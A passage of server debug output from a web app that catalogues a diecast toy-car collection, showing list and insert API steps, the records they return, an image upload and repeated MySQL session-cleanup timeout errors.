      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:30:24.551Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-03T13:30:46.201Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-03T13:30:46.201Z server-connect:app Executing action step identify
2026-02-03T13:30:46.201Z server-connect:app options: { provider: 'security' }
2026-02-03T13:30:46.201Z server-connect:output identity: 1
2026-02-03T13:30:46.201Z server-connect:app Executing action step restrict
2026-02-03T13:30:46.201Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:30:46.202Z server-connect:output restrict: undefined
2026-02-03T13:30:46.202Z server-connect:app Executing action step condition
2026-02-03T13:30:46.202Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-03T13:30:46.202Z server-connect:app Executing action step insert
2026-02-03T13:30:46.202Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-03T13:30:46.203Z server-connect:output insert: { affected: 1, identity: 142 }
2026-02-03T13:30:46.203Z server-connect:app Executing action step condition
2026-02-03T13:30:46.203Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-03T13:30:46.203Z server-connect:app Executing action step upload
2026-02-03T13:30:46.203Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-03T13:30:46.203Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-03T13:30:46.203Z server-connect:upload Process fields: 'images[]'
2026-02-03T13:30:46.203Z server-connect:upload Processing file: {
  name: 'ID068847_7EqxZYxparPH.jpeg',
  data: <Buffer >,
  size: 125508,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-9-20378841770125446199',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'da4161aaf7a572e387075d787c108abf',
  mv: [Function: mv]
}
2026-02-03T13:30:46.203Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID068847_7EqxZYxparPH_ac422d2a-f337-491b-959f-83c1ab2a924f.jpeg',
  rel: 'public/assets/images/diecast/ID068847_7EqxZYxparPH_ac422d2a-f337-491b-959f-83c1ab2a924f.jpeg'
}
2026-02-03T13:30:46.204Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID068847_7EqxZYxparPH_ac422d2a-f337-491b-959f-83c1ab2a924f.jpeg',
  rel: 'assets/images/diecast/ID068847_7EqxZYxparPH_ac422d2a-f337-491b-959f-83c1ab2a924f.jpeg'
}
2026-02-03T13:30:46.204Z server-connect:output upload_image: [
  {
    name: 'ID068847_7EqxZYxparPH_ac422d2a-f337-491b-959f-83c1ab2a924f.jpeg',
    path: '/public/assets/images/diecast/ID068847_7EqxZYxparPH_ac422d2a-f337-491b-959f-83c1ab2a924f.jpeg',
    url: '/assets/images/diecast/ID068847_7EqxZYxparPH_ac422d2a-f337-491b-959f-83c1ab2a924f.jpeg',
    type: 'image/jpeg',
    size: 125508
  }
]
2026-02-03T13:30:46.204Z server-connect:app Executing action step repeat
2026-02-03T13:30:46.204Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:30:46.204Z server-connect:app Executing action step insert
2026-02-03T13:30:46.204Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:30:46.204Z server-connect:output images: { affected: 1, identity: 160 }
2026-02-03T13:30:46.204Z server-connect:output repeat_images: [ {} ]
2026-02-03T13:30:46.204Z server-connect:output condition: undefined
2026-02-03T13:30:46.204Z server-connect:output condition: undefined
2026-02-03T13:30:46.466Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:30:46.466Z server-connect:app Executing action step identify
2026-02-03T13:30:46.466Z server-connect:app options: { provider: 'security' }
2026-02-03T13:30:46.466Z server-connect:output identity: 1
2026-02-03T13:30:46.466Z server-connect:app Executing action step restrict
2026-02-03T13:30:46.466Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:30:46.467Z server-connect:output restrict: undefined
2026-02-03T13:30:46.467Z server-connect:app Executing action step paged
2026-02-03T13:30:46.467Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:30:46.469Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 124,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-03 16:36:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-03 16:36:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-03 19:14:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-03 19:14:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-03 21:19:28' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-03 21:19:28' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-03 22:14:29' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-03 22:14:29' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
